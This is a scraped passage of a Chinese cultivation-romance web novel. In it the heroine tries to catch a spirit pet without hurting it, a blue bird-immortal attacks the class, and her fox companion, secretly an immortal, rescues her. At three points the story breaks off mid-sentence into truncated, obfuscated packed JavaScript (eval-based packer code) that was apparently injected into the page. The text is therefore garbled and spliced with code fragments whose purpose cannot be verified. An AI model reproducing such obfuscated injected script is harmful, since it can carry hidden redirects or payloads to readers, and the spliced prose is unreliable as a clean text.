d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不看不知道,一看不得了。 这景师兄当着云掌门的面送何仙子手帕,既有长辈见证,又是同门师兄妹,莫不是近水楼台,情定终生? 有一说一,沧溟日报应该分百分之十的收入给何缨,这一天一个大爆热门不带停的。 绯明看向两人轻轻触碰后又立即分开的二手指,皱了皱眉头。 这臭小子送了她什么东西? 何缨一眼看出那是她偷偷画的小狐狸手帕,脸一下子就红了。 “……多谢师兄。”何缨的笑容里带上了几分感激。 景言川见何缨面露羞赧,本就寡言的他一时也有些笨嘴拙舌。 “不必言谢。”他又从储物袋中取出了一只玉簪,想要送给何缨。 何缨连忙推拒:“这怎么好意思!” 景言川刚递到一半,一只手凭空伸过来,嗖地把那玉簪抢走了。 绯明抢了玉簪不说,还十分理所应当地插在了自己的头上。 何缨:“……”这云掌门真给你当上了? 景言川似乎习惯了云淮的出其不意,他从储物袋中又取出了一只一模一样的玉簪,再次交给何缨。 “防身用的法器,你同云师兄一人一个,师妹收下便是。” 何缨惊掉了下巴,景言川是什么端水大师吗,连这都有备份? 景言川:“师妹还要去后山捉宠,不多打扰。”他同绯明行了礼,转身离开。 何缨呆呆地望着景言川离开的背影,对景言川有了全新的认知。 师兄看着不谙世事,其实比她心思细腻多了! 绯明不知怎得,心里十分不是滋味,他走到何缨面前,挡住了何缨的视线。 何缨下意识地绕开他,眼巴巴地继续看向景言川。 绯明:“……” 前有景言川,后有新灵宠,绯明感觉自己的地位一降再降,岌岌可危。 他一伸手,把何缨手里的另一支玉簪也抢了过来插在了脑后,头戴两根簪子气鼓鼓地跑了。 留何缨一个人在原地无语凝噎。 兄弟,你这和插了双筷子在头上有什么区别! 11. 11 被景言川和绯明这么一拖,到后山时其他人都已经到齐了。 后山十分宽广,比无相天峰还要宽广。 不过这里灵气十分稀薄,远远看去一片幽深的丛林漫无边际,数个黝黑的山洞遥遥相望。还有一条蜿蜒到林中的小溪,溪边的石壁上爬满了苔藓。 下午课程的内容也依旧十分宽松,看守人划出了一到屏障,在这个区域里抓一只灵宠就可以立即下课。捉不到也没关系,熬过课时规定的三个时辰,也算完成。 说完基础事项,学生们便纷纷开始了捕捉行动。 何缨随着人群一直走到了最深处的屏障边缘。再往里会有高阶妖兽出没,为了保护这些脆弱的初出茅庐小修士们,看守为他们划定了安全区。 深林里偶尔传来几声鸟鸣,和小动物奔跑过树丛的细细簌簌之声。 人群在何缨面前停驻,他们相互交谈了起来。没过一会儿,拥挤的人群便各自分成了几组,各朝一个方向离去,大抵是商量好同组的人互相扶持,共同捕捉一片区域的灵兽。 单独的人也不是没有,只不过他们都是纯混流,往地上一坐,喝喝茶吃吃果,打算硬熬三个时辰。 显而易见的,何缨又是孤零零一个人。 这究竟是因为她看起来太过冷淡还是因为周身散发出来的社恐气质,又或者是两者都有,总之大家虽然跃跃欲试想要邀请这位筑基天才,最终却都熄了火,没人敢来邀请何缨同行。 几人合作行动确实会更容易,但何缨十分庆幸没有人来找她。 不然她还要想方设法编一个借口去拒绝他们。 不远处已经传来的打斗声和动物受伤之时的悲鸣声,何缨没有拿出捕兽夹,她只是从储物袋里拿出她一早就准备好的绳子,走到了一片平坦的草地上。 她把绳子打了个结,一端握在手里,另一端缠成了一个圆圈,又掏出红色的丝带在上面系了一只漂亮的蝴蝶结。 当听到授课老师说要用武力镇压灵兽使之屈服时,何缨就已经做好了决定。 她不想用伤害那些小动物的方式去收服它们。或许会有好斗的灵兽喜欢被征服,但是何缨仍不希望伤害与被伤害的关系出现在她和她的伙伴之间。 如果一只灵兽要陪伴在何缨的身边,那只会是朋友的身份,而不是仆人或是奴隶。 比起人类,何缨更有耐心去和可爱的小动物们打交道。 她把自己仿照仙兽餐饮制作的青梅脆片倒出了一碟,放在绳圈里,然后取出软垫坐在了一旁。 正所谓何缨捉宠,愿者上钩。至于是来的是谁,何缨都虚心接受。 就当缘分一场。 ……何缨只怕家里那只骄横的小狐狸不肯接受。没办法,到时候多哄哄它吧。 一个时辰过去了,捉宠的队伍满载而归,他们路过何缨身边,无不露出了惊愕的神情。 用这种方式,怎么抓得住灵兽? “想不到啊想不到,何仙子竟然也有偷懒的时候。”身穿黑衣的少年抱着剑斜着看了何缨一眼。 “你怎么能假定何仙子是在偷懒?”另一个紫衣少年人反驳。 “她都筑基了,随便一张符,都能将这片山里的灵兽抓个数十只,坐在这里装模做样,不是偷懒是什么?” “……没准是什么无人知晓的新办法,你懂什么?” “可别。入宗以来,相信她的人还少么?有哪个真成功筑基了?她有什么诀窍?不过是个拿仙丹堆起来的药罐子罢了。现在还信那一套的人,我劝你先去看看脑袋。” 说话的两人并没有压低声音,他们就在何缨身后吵吵嚷嚷了起来。 何缨抱着膝盖,叹了口气。 这里甚是怪异,本来有几只鸟儿停在了她身侧,瞧着绳子里的零食跃跃欲试,结果一靠近过来,就像受了惊似的,惊叫着飞走了。 之后又来了几只毛茸茸的仓鼠、黑猫,甚至连蛇都有,可是他们无一例外,一靠近何缨就又都逃走了。 何缨百思不得其解,她又往绳子里倒了几种不同的零食。 一群白兔在不远处看着那碟散发着浓郁灵气的吃食流口水。 一旁的黄鼠狼也在眼巴巴观望。 一旁的狐狸在哀怨的嘤嘤叫。 何缨寻思你们倒是过来啊,远远地看着我是几个意思? 不少人都完成了捕捉,从何缨身边经过。有些人停下脚步,意外地看向那条系着蝴蝶结的绳圈。 刚才争执的两人终于停止了争论,然而事情却并未到此为止。 那个一直贬低何缨的黑衣弟子带着一帮人,围在了何缨身侧不远处。 何缨是掌门的弟子,现在又是课程中,他们不敢做什么。 但是不做什么,却可以在一旁看着。 他到要看看,何缨凭这种没用的玩意,究竟能抓到什么东西? “快来看快来看,何仙子正在用新诀窍捉宠呢。” “什么新诀窍,我看看我看看。” 围观的人越来越多,何缨那努力维系的平静心绪终于还是起了波澜。她的手臂开始发抖。 她其实听不见周围的人在说什么,只是那些嘀嘀咕咕的耳语声让她如坐针毡。 何缨闭上双眼,在心里默念。 小孩子,他们都是没成年的小孩子,小孩子能说什么,无非就是好奇罢了。 反正大家的结局都是渡劫被雷劈死,活着的时候想说点什么就说点什么吧! 何缨还不知道,围观的人群已经把她架上了名为世家亲传的高墙,如果她今天抓不到灵宠,就会被狠狠推下。 而想要破局十分简单,何缨只要随便掏出一张寒冰符,就能将几只灵兽打伤至濒死,而她有几十张玄冰符,想抓多少只,就能抓多少只。随便扔出几张符,就能让众人为她惊呼,为她鼓掌。 可是何缨不想这么做。哪怕无数双眼睛盯在她身上。 围观的人声越来越大,他们都在等着看何缨的笑话。原本有些在何缨周围观望的小兽也被他们赶走了。 看天才升起又狠狠跌落,这正是众人津津乐道的事。 无人注意的角落,一阵彻骨的寒意逐渐渗透的屏障,自他们的脚底钻了上来。 那寒冷的气息几乎要将人冻伤,在场的人里只有何缨是变异冰灵根,难道是何缨终于要动手了么? 不对…… 为首的黑衣少年浑身僵硬,他艰难地转过身。 一阵尖啸声便洞穿了众人的耳膜。 看守的长老心神一震,“快走!屏障要碎了!” 随着劈里啪啦的破裂之声,一只通身青色的大鸟飞撞破屏障冲了出来。它的翅膀一扇就是一阵凛冽的寒风,将挡在它面前的人通通掀飞。 黑衣少年首当其冲,他挨了那青鸟一爪子,鲜血登时四处飞溅,人也直接被甩了出去。 看守一道传音符已经打了出去,几千年相安无事,灵宠课也上了有不知道多少次,怎么今天这个时候突然发难?他不敢停顿哪怕一秒,将双手贴在了地上。顷刻之间,无数翠绿的藤蔓破土而出,冲向天空的青鸟。 青鸟并不退却,它的口中聚集起青光,无数寒冰在它周身汇聚,随着一声啸叫,那光团打穿了无数条伸长的藤曼,直直砸向了看守。 顿时山崩地裂,溪流震出了数尺之高。 硝烟散去,看守在重伤之前支撑起了最后的一层土系屏障,便倒在地上昏迷不醒。 而这也证明了一个事实,这只青鸟比看守长老的修为还要高出许多。 此时此刻,唯一能阻碍青鸟的人已经消失,余下的全都是刚入门没几天的小菜鸡,原本还围着何缨看热闹的人一下子四散奔逃,哭叫着往山前跑去。 那青鸟在天空盘旋了许久,左叨一下,右冲一下,似乎在找什么人。屏障摇摇欲坠,被它冲击过的位置爆发出一阵阵威压的余波,经过的弟子都被震吐了血,以最末端看何缨笑话的那一波弟子最甚。 眼见青鸟掠过自己朝远处冲去,何缨试图假装自己不存在。 比起被赶着往外跑,不如少乱跑乱叫招惹青鸟,静观其变。 青鸟逡巡往返数次,终于找到了目标。它将几名弟子扇飞,掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她一手捂着裙子,一手伸进储物袋,紧急翻找着飞行符。肩膀上的伤口随着动作撕扯,何缨很痛,但是再找不到飞行符命就真要没了。 下坠的速度越来越快。 正在焦急之时,一阵炽热的急风袭来。 时间如同静止了一般,慢慢地,缓缓地,何缨落入了一片柔软之中。 几乎受到没有任何重力的冲击,她被轻柔地接住,于半空之中被有力地托起。 她的手心摸到了一片毛茸茸。 一只大狐狸在她身下稳稳地接住了她。 它通身雪白,唯有额间和长长的尾巴上交错点缀的几抹红色。它昂起头,又是一个巨大的火球自它的口中吐出,将青鸟打得在天上乱窜。 “是你?你,你怎么跑来了?”何缨惊讶。 这不是她的小狐狸吗?怎么长这么大了! 绯明落回地面,将何缨放下。 青鸟仍不肯罢休,它汇聚数枚玄冰,朝地面飞溅而出。 何缨怔怔地看着那赤红色的尾巴高高立起,九团火光在尾巴边上聚拢,绕着圈向青鸟飞去。 寒冰不敌烈火,巨大的轰鸣在空中爆发。 烟雾散去,那青鸟摇身一变,竟然变成了一个浑身是血身着青衫的年轻的男人。 “又是你……又是你!”他擦去嘴角的鲜血,周身寒意更盛,一挥手,山间的溪流被他凝结成了一条冰柱,又一次冲向了绯明。 何缨的手比脑子先动,反应过来的时候,她已经一把将狐狸护在了怀里。 数十张金钟乾坤符迎风打出,在他们面前形成了一道金色的屏障。 冰柱嘁哩喀喳将那数道屏障砸了个粉碎,绯明补上一道火球,将那冰柱击碎。 青鸟化作的男人垂着头,呆滞地看着眼前的一幕,双目失去了神采。高温和寒冷在空中对冲,眨眼间已是下起了大雨。 还是这样……还是这样。哪怕几千几万年过去,你还是选择了他。 12. 12 绯明从何缨的怀里钻了出来,用尾巴将何缨卷到身后。 哼,本座何须你来保护。 就在这时,不远处晃晃悠悠地飘来了一朵云。 云淮站在云上,笑眯眯地飞了过来。 “哈哈,大家打得这么惊天动地啊,刚刚去东海抓了点鱼,现在才回来,真是不好意思。” 青鸟:“……” 一众躺在地上疗伤的弟子:“……” 何缨:“……” 这就是传说中的松弛感吗,何缨羡慕的直冒泡泡,她也好想活得这么松弛。 青鸟将手中的一张裂成两半的符纸掷出,云淮单手接了。 “三千年的风调雨顺,我还完了。” 云淮想了想,“嗯……好像几十年前你就还完了,怎么不早说?” 青鸟没理这个没正形的掌门,他深深看了何缨一眼。 “我们还会再见的。” 何缨疑惑地看着天上飘着的青衫男人,转头摸了摸绯明的毛,“咦,他是在跟你说还是在跟我说啊,太远了我这也看不清啊。” 应该不是在跟她讲吧!原身也是个没修炼过的普通人,上哪招惹这尊大神去。 绯明:“……”呵呵,有人媚眼抛给了瞎子,真是可笑。 云淮见青鸟要走,又招了朵云挡在了青鸟面前。 “等等等等,欠的东西是还清了,你这一出关,我这宗门的小弟子们却是遭了殃,我再朝青翊仙君讨要个赔偿总行吧?” 青鸟:“……”我不是已经多给你们宗门打了几十年工了吗! 云淮:“一码归一码对不对,你要是想要这几十年的补偿,那我可以再给你,我去仙界那边先打个一千年的欠条……” 青鸟不耐烦地打断了他,“行了。我不需要。” 他又一次化作鸟身,咬下一根羽毛,交给云淮。 云淮摸了摸那还冒着寒气的鸟毛,“就一根啊,不能多给几个?” 青鸟:“……” 青鸟不耐烦地又薅下了一根递给云淮,头也不回地飞走了。 云淮乐呵呵地收下了羽毛,朝青鸟挥手。“青翊仙君慢走!下次再来玩啊!” 云淮将其中一根朝后山一扔,一阵清爽的风拂过众人的心头。就连何缨那总是充满胡思乱想的心绪也安静了下来。 青鸾鸟的仙力,最是定心凝神。 这样一来,仙宗里渡劫飞升之时的心魔也会变弱许多。 云淮收起另一根羽毛,他朝何缨挥了挥手,一只药瓶凭空落在了何缨手中,再抬头时,云淮已经轻飘飘地飞走了。 危机解除,虽然也不知道到底算不算危机,总之何缨松了一口气。 “嘶……你变得好大啊。”何缨笑着对绯明说。 前襟已经被鲜血渗透,紧张过后,何缨后知后觉地察觉到了疼痛依旧存在。 被青鸾抓过的伤口可没那么容易愈合,之前嘲讽何缨的那个黑衣弟子已经被抬走疗伤了。怕是半年都下不来床。 灵宠课草草收了尾,并给每个学生的学分多加了一倍作为补偿。 何缨掏出那包没人欣赏的青梅脆片,分给小狐狸,哦不,现在是大狐狸。她现在十分心平气和,就算没有找到属于她自己的灵宠,可这不是还有大狐狸陪着她么。 大狐狸一口咬住脆片,慢条斯理地坐在原地嚼嚼。紧接着,他咬住了何缨手中的绳圈, 何缨拽了拽,狐狸却没撒口。 何缨一愣。 大狐狸不耐烦地甩了甩头,伏低了身子,往绳圈里拱了拱。 这是……什么意思? 大狐狸执拗地看着那只绳圈嘤嘤直叫。 何缨忽然小心翼翼了起来,她蹲下身来和大狐狸平视,双手颤抖着,将那只绳圈一点一点的越过狐狸毛茸茸的脖颈。 他没有拒绝,依旧用那对湿漉漉的眸子注视着何缨的动作。 大红色的蝴蝶结正好配在他颈间,十分可爱。 狐狸温顺地蹭了蹭何缨的裙摆,紧接着,他的身形越来越小,变回了一开始的狐狸崽大小。 何缨只是微微张开手,就轻而易举地将他抱在了怀里。 小狐狸支起上半身,扒着她的右臂,拱进了破碎的衣襟,用舌头轻轻舔舐着何缨的伤口。 “好痒……你别这样。”何缨感觉肩膀一阵发痒。 在她看不到的地方,绯明将自己的法力传入了何缨的身体。暖烘烘的灵力将那两道青鸟留下的伤口缓缓愈合。 何缨抱着小狐狸离开后山,还没离去的弟子们都看到了她怀里的小狐狸。大家也都知道了何仙子抓到了一只灵宠。 能变大,火属性,很强,至少三品以上。 而那灵宠还是自己送上门来的。 “……你要不要带一下试试?很漂亮的。“何缨解开系在绳圈上的大红色蝴蝶结。 绯明早就试过了,他假装没听见,调转过去,扒住何缨的左臂,勤勤恳恳地舔舐起了另一道伤口。 何缨趁绯明忙碌,偷偷地把蝴蝶结系在了他脖子上。 雨过天晴,一人一狐坐上仙鹤,穿过架在空中的透明彩虹,朝家的方向慢悠悠飞去。 “我叫何缨。”何缨看像远方的山峦。 绯明抬起头看她。 “我知道你是仙狐,而我才是个刚入门的小修士,不会强迫你当我的灵宠啦。那只大鸟好像叫青翊,这么说来,你也有自己的名字吗?” 被绯明舔舐过的伤口不再疼痛,何缨抱着他的手也舒缓了些。她轻轻用下巴蹭了蹭小狐狸柔软的耳朵尖。 “要是能一直和你在一起就好了。”何缨笑。 再也不要过那孤身一人的日子。再也不想一个人面对那些纠结焦虑的时间。 晚风轻柔吹过,夕阳西下,生命如此美好,何缨轻轻闭上了双眼。红霞透过绮丽的彩虹为少女柔美的侧颜度上了一层柔和的光。 绯明怔怔地看着何缨。 “……可是你不会说话,不然我给你起个名字吧,红红,白白,年糕,糖糖,你想要哪个?” 绯明:“……” “茸茸,不然我叫你茸茸吧,就这么说定了!” 绯明用大尾巴糊了何缨一脸。 夜半时分,绯明一个鲤鱼打挺从床上坐了起来。 何缨在他身旁熟睡着。绯明又一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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越往里走,视野越黑,就这么一直走到了只能看清眼前一尺的昏黑之处,绯明终于找到了他要的东西。 狐火在石壁上爆裂,石壁岿然不动。绯明八条尾巴齐齐竖起,手中狐火暴涨到一栋楼那么高,几乎要将整个山洞炸裂。偷偷跟着他的小鬼都背这雷霆般的威压和烈火吓破了胆,抱着头掏出了洞窟。 许久之后,石洞彻底坍塌,绯明却毫发无伤,自碎石之间飞出。一块灿若鎏金的玉石落在了绯明手中。 “轮回石?绯明,你怎么这个时候跑去鬼界了?一会儿天帝来了,又要磨磨唧唧盘问你去向。“ 回到赤璃境,门口的看门鸟又罗里吧嗦地嚷嚷了起来。 绯明懒得理这只疯狂废话的傻鸟,他取来蓝舒交给他的玄机篆,用狐火将两样东西包裹。 轮回石立刻在他手中融成了金色的液体。玄机篆中的法力和绯明的赤红狐火混合,为这鎏金添上了一抹赤色。 绯明并不会画画,也不懂什么款式和类别。他划开指尖,逼出一滴心头血,融进了轮回石中。 没过一会,一只金色的步摇在他手中逐渐成形。纤巧的珠串在灵力的汪洋中清脆作响,绯红色的樱花在鎏金枝头盛放。 绯明的脸色一瞬间变得有些苍白,待到那只樱花步摇彻底定型,他将其收入了怀中。 “……祭典之前还这么奢侈地动用灵力,一会儿给你抽干了,你就知道疼了。” 绯明嗤笑,“多少年了,本座难道还在乎这一回。” 13. 13 何缨的伤口在小狐狸尽心尽力的舔舐以及灵丹妙药的辅佐之下好了个彻底,肩膀上的肌肤干净光滑到看不出曾经受过什么伤害。而她的小日子也依旧不紧不慢地过着。 夏雨如丝,何缨撑着伞,抱着狐狸离开了无相天峰。 上次何缨去仙兽餐饮店时只走到了山脚下,一步都没敢往里走,这次九韶峰举办了一季一度的交易会,小狐狸最近总是很沉闷,何缨便想着带它出来逛逛。他们跟随着往来的飞舟又一次来到九韶峰,终于看到了里面的情形。 不愧是器修云集的九韶峰,从山腰上开始就有许多师兄师姐支着摊子售卖各种法器。 九韶峰的峰顶十分平坦,大大小小的店铺鳞次栉比,买卖什么的都有。和凡间的坊市一样热闹。 何缨本着薄利多销卖完就跑的原则,找了家人烟稀少的小店,把她练手画的几千张初级寒冰符全卖了。 说起寒冰符其实比较特殊,许多售卖限时新鲜货品的店会需要大量的寒冰符,因为符箓干净方便,又比总要更换的仙柜便宜,贴在门面上也不会影响顾客挑选货品。 寒冰符虽然可被其他属性的修士绘制,但效果却会大打折扣。而冰灵根百年不见一个,因此像是由何缨这种冰灵根修士亲手制成的寒冰符价格要比平常的符箓高出两三倍。 何缨刷刷刷卖掉五千多张符,终于拿到了她在修真界赚的第一袋上品灵石,大约有几十万枚中品灵石那么多。 同何缨做买卖的师姐一眼就认出何缨的身份来,她不知道何缨为什么选她着没什么生意的小店,却也没跟何缨讨价还价,只是殷切的送给了何缨一只玉牌,希望何缨下次再有符箓要卖时可以优先来找她。 何缨感觉自己包里装了一兜子莫名其妙的玉牌,但是她一个也没用过。 总之越少和陌生人交谈越好。 卖完符箓,何缨抱着小狐狸高高兴兴地逛起了坊市。走出小店,何缨想起了什么,往身上贴了张新学会的隐身符,虽然作用不大,但是也可以屏蔽掉大部分修为比不上她的人的目光。 绯明知道她害怕别人的注目,便在隐身符上加了一层灵力,何缨便彻彻底底变成了集市间无法被发觉的存在,她自由自在地流连于各式各样的奇珍异宝之间,观赏着各个商铺和街头摊贩,何缨对那些看起来就能打几千个的锋利武器没什么兴趣,只是时不时把她没见过的惊奇物事指给绯明看。 接触时会发出嗡鸣声和震颤的宝剑。 何缨:这把剑怎么会触屏震动,难道里面装了个剑灵? 绯明:不过是把灵石驱动的飞剑罢了。 会自己弹自己的全自动智能古琴。 何缨:难道有个人和我一样隐身坐在后面悄悄地弹? 绯明:这有什么稀奇,不过是以灵力制成曲谱存在琴身里罢了。 在水池里游来游去会念诗的鱼。 何缨扔了一块灵力浓郁的鸡肉丸子到水池里,那鱼立刻扑腾过来吞了,左摇右晃绕着池子转了一圈却没看见喂食的人。于是高声大叫了起来。 “感谢不知名仙子仙君送出的香辣脆骨极品鸡肉丸一枚爱死您了么么哒~咱们家的灵鱼都支持点播哈,您想听什么给您念一段儿~” 何缨:“……” 怀里的小狐狸不忍直视地把头转了过去。 嘁,这样的鱼东海有成千上万条,他随便一捞就能捞出来几十条话术不带重样的,有什么好稀奇? 一人一狐继续往前漫无目的朝前走着。小狐狸最近都不怎么动弹,睡觉的时间也比以往长,何缨想着莫不是没见识过人界酷暑,沾了暑气,就在摊子上买了个能自动产出灵泉的白玉澡盆,打算回家给它舒舒服服洗个澡。 路过灵草铺子,何缨停下,买了几包迎阳花的种子。 迎阳花其实就是向日葵,何缨见惯了高楼大厦和车水马龙,好不容易有了院子,她想种点大的。 走到峰顶,一群姑娘手里攥着桃枝打闹着跑下山去。 此时正值六月,桃花应该都谢了才是。何缨逆着人群往上走,便听见一个有些熟悉的声音在张罗。 “仙界赐福啦!没领的快来领啦!” 何缨打眼一望,是领她入宗的宁栖。 几个月不见,宁栖圆润了不少。他拎着个状似喇叭的法器,站在一个石坛旁扯着嗓子吆喝。 何缨走过去,拍了拍他。 宁栖半天没看见是谁,直到何缨摘了隐身符,这才看见。 “哎哟,这不是何仙子吗,您也来凑热闹了?” “什么热闹,赐福?“何缨问。 “您还不知道?也是,您都会画请仙符了。”宁栖不知道脑补了什么东西总之自动把故事线索补全了,“这不是,一年一度的仙选会要开始了么。仙选会啊顾名思义,就是选一些有资质的弟子,去仙君座下修行,作为仙侍侍奉左右。每年仙选会开始之前,仙界都会向人界降下福泽,以作激励。” 何缨懂了,考研前的誓师大会,不用宣誓版。 上次何缨凭借一张请仙符,请来了绯明在宗门降下十年丰厚的灵力。 这次则有所不同,仙界赐福并非仅仅是灵力,天才地宝灵丹妙药皆有之。 譬如刚才那几个师姐拿的桃花枝,便是用来增加桃花运的,拿了桃花枝,接下来一整年的人缘和情缘都会非常好。 只不过这东西没得选,拿到什么就是什么。 沧溟仙宗作为第一仙宗,自然每个山峰都少不了,何缨正好在九韶峰,便也不再折腾回去。 她对这福缘本身没什么兴趣,就是觉得很有趣,像抽卡一样,不知道会抽出点什么来。 她按照宁栖的指示走到石坛边等待,却看到景言川皱着眉,捧着个小盒从台上走了下来。 “师兄?”想不到师兄也来凑这种热闹。 景言川见是何缨,眉头舒展开来,嘴角也轻轻上扬。他将手中的盒子交给何缨。 “于我无用,赠予师妹。” 他刚一伸手,便挨了一爪,小狐狸神气地端坐在何缨怀里,朝着景言川一阵哈气。 何缨也不知道她家茸茸为什么这么不待见景言川,每次见面同师兄说几句话,师兄少不了要挨几下抓挠。 何缨连忙将狐狸头捂进了自己胸口,“这不是师兄的福缘?我可不能收。“ 景言川神色难得有几分尴尬,“我用不上,留着反倒暴殄天物。“ 何缨将那小盒子打开,才发现,里面装的是女子擦身用的香膏,带着一股好闻的胭脂味。 何缨:“……” 这也太随机了吧!给我师兄这种东西到底是要他干啥! 眼瞧着景言川满脸尴尬,何缨只好将那盒子收进了乾坤袋。 九韶峰上人不少,何缨眼见队伍排的很长,便不多和景言川闲聊。临走前,景言川回头望了一眼何缨,少女腼腆地跟他挥手告别。景言川微微颔首,离开了九韶峰。 师兄走后,何缨捏着小狐狸的后颈,把他提起来,“你怎么这么坏呀?不是跟你说好了,不许挠师兄了吗!” 狐狸四爪弱不禁风地垂下,瞪着一双大大的狐狸眼装无辜。 景言川这种居心叵测之徒,他说什么你都信?本座这是在帮你明辨是非! 何缨把脂膏点在了这毫无悔改之意的毛茸茸的鼻梁上,看他打了个打喷嚏,笑得花枝乱颤。 队伍一点点向前,终于轮到了何缨。 何缨学着刚才下台的那名弟子,向前伸出了双手,小狐狸适时地爬到了肩上,得意地摇着尾巴。 自天空降下一层白光,将何缨笼罩。像被什么东西审视着一般。何缨缩了缩脖子,只觉面前金光一闪,一只精致的步摇出现在了何缨手中。 那步摇通身金色,精致的花纹和漂亮的珠坠差点晃瞎了何缨的眼。 这到底是谁的品味,现在已经不流行纯金子做的饰品了吧! 不过,除了那金色的坠子之外,那朵绯红色的樱花才更为惹眼。 何缨想不到仙界这么俗,除了送香膏的,还有送首饰的。 小狐狸从她手中叼过那支步摇,骄傲地晃尾巴。 何缨下了石台,看他那副得意洋洋的样子,有些好笑,“又不是你送的,你骄傲什么?” 小狐狸嘤嘤直叫,用毛茸茸的耳朵蹭起何缨的头发。 何缨把步摇按进发间,笑着打趣,“好看么?” 绯明看着少女神采飞扬的模样,又一次红了耳朵。 ......本座送的,当然好看。 小狐狸又一次红着脸埋进了何缨胸口。 何缨揉着怀里软绵绵的一团,笑着离开了九韶峰。 在她身后的阴影处,一个灰色衣袍的师兄抱臂,冷眼旁观了这完整的一幕。他肤色发灰,脸色暗沉,好像一道鬼影。 “是她么?” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何缨没回头,对着趟在小窝里的狐狸喊道。 她在小院里给茸茸搭了个软和的小窝,虽然茸茸不怎么愿意出来晒太阳,但是总要跟着何缨。 何缨在院子里折腾的时候,茸茸就不用在硬邦邦的木头或是草地上趴着了。 喊了半天没什么反应,何缨回过头,这才发现小狐狸陷入了沉睡。 怎么了这是,怎么最近这么嗜睡?何缨将他抱起,茸茸没什么精气神地趴在肩膀上,连叫也不叫了。 正在这时,一阵打斗声从林子里传来,惊起了无数飞鸟。 何缨下意识先将小狐狸送进了铜镜里。 她掏出一沓符箓,躲在了围栏后。 几乎就在她躲起来的下一秒,涂山筱自林中逃了出来。 “将事情回禀鬼尊,再抓人也不迟。鬼七,你到底在急什么?” “急什么,你说我急什么,你个狐狸精靠吸食别人精气就能修炼,我却几百年没吃过活人魂魄了!我把那小丫头抓回去,鬼尊大人才能重用我,才能给我魂魄吃!再没有魂魄,我就要油尽灯枯了!” 鬼七挥舞着镰刀,涂山筱躲闪不及,被打倒了湖边,吐出了一口鲜血。 “不然,就拿你开刀,吃了你的妖魂,我再去向鬼尊禀报!” 何缨吓得大气不敢出。 另一旁,涂山筱却已经发现了躲在暗处的何缨,她长鞭一卷,将何缨从围栏边拉了出来! “好啊,你杀了我,我就杀了她,看看你还怎么和鬼尊解释!” 何缨攥着那缠在自己身上的鞭子,又一次化身奶牛猫:啊? 你这主线剧情怎么跑到我家门口展开了啊! 鬼七不管不顾,镰刀狠狠一劈,何缨下意识撕开了手中的符箓,金光一闪。只听一声巨响,巨大的金色罩子拦在了鬼七身前。 “……竟然能驱使化神期的防御符箓。神座不亏是神座,哪怕托生成了凡人,天资也不是旁人可比的。”鬼七曈中的火焰熊熊燃烧。 现在他终于能确定,面前的这名少女,确确实实就是鬼尊要找的人了。 他抬起一掌,涂山筱只能咬牙迎上,一红一黑两股法术相撞,激起了千层巨浪,将凝结的冰湖都震碎。 14. 14 鞭子还缠在何缨腰间,勒得生疼,她只能被迫跟涂山筱共进退。 何缨不想掺和主线剧情,更不想帮助他们任何一方,她撕了几张利刃符,那鞭子坚固极了,怎么砍都砍不断,不知拿什么做的。 而每次危急时刻,涂山筱就要把她扔到前面来挡刀,何缨只好一张一张地用化元金盾符。 她现在心里想的只有一件事,幸好她把小狐狸藏进了铜镜里。 他现在那么虚弱,看到她被人抓起来,怕不是要冲上来拼命。 涂山筱又一次甩鞭,何缨被高高的抛起,有些无奈。 她真是恨透了这种不受自己控制的生活。 何缨一用力,索性把手里的一把符箓全都撕了。 涂山筱还没反应过来,火焰流、雷霆霹雳,疾刃风,还有一大堆锋利的冰箭,直冲她的面门。 涂山筱:“……“ 不是,我们这刚开打,你怎么直接爆了? 鬼七被这巨额的法术吓了一跳,他没想到何缨竟然有这么多高阶符咒,只得四处闪避。 “涂山筱,只有你我二人合力,才能制服青鸾神座!” 涂山筱怎么可能再去相信这个男人的鬼话,她咬牙,死死攥着鞭子不放,“你放屁!“ 就在这时,一股灼热的温度自鞭子末端传来,只听嘶拉一响。 一阵恐怖的威压自何缨身边传来,涂山筱手中长鞭顷刻绷断。 那恐怖的威压之下,涂山筱完全用不上力气,但凡有了一点点反抗的心思,都要心神俱毁。她只能趴伏在地。 何缨只感觉腰间一松,紧接着一个温暖的怀抱接住了她。 她抬起头,正好看到绯明清俊的下颌角。 只是灵力空了而已。区区一个化神期,还轮不到他动用仙法。 绯明右手上还染着狐火,往上一抬。 鬼七便不受控制地升到了高空,他捂住了自己脖子,呜呜哎哎,一句话都说不出来。 灼热的狐火燃遍了他的全身,何缨忍不住转过头,在绯明怀里闭上了眼睛。 鬼七的身体被烧成了焦炭,魂魄却也没能逃脱。绯明动了动手指,魂魄便被吸入了手中,他轻轻一捏,那团魂魄便化作了齑粉,于风中消散。 涂山筱跪拜在地,大气都不敢出。 绯明撇了她一眼。 涂山筱冷汗都下来了,今天不是祭典么,绯明怎么会在这?她只能硬着头皮喊何缨,“何仙子,你不记得我了吗?我是和你同一天入宗的同门呀!” 何缨无语,呵呵又不是你刚才拿鞭子绑着我的时候了! 等一下,何缨突然发觉不对。 她猛地从绯明怀里钻出来,看看这个,又看看那个。 【男主???】 【女主???】 不对啊! 何缨恍然大悟,原来这才是主线! 这是英雄救美的经典桥段啊!男主救下被不知道什么玩意追杀的女主,有了这次相遇,两个人就会产生感情,有了感情,两个人就会相遇又分离,分离又相遇,最后你侬我侬,缠缠绵绵,大战三百回合…… “我不打扰,我走了哈!”何缨摆了摆手,既然是男女主的感情戏,那她就无所谓了,你们俩把日子过好比什么都重要! 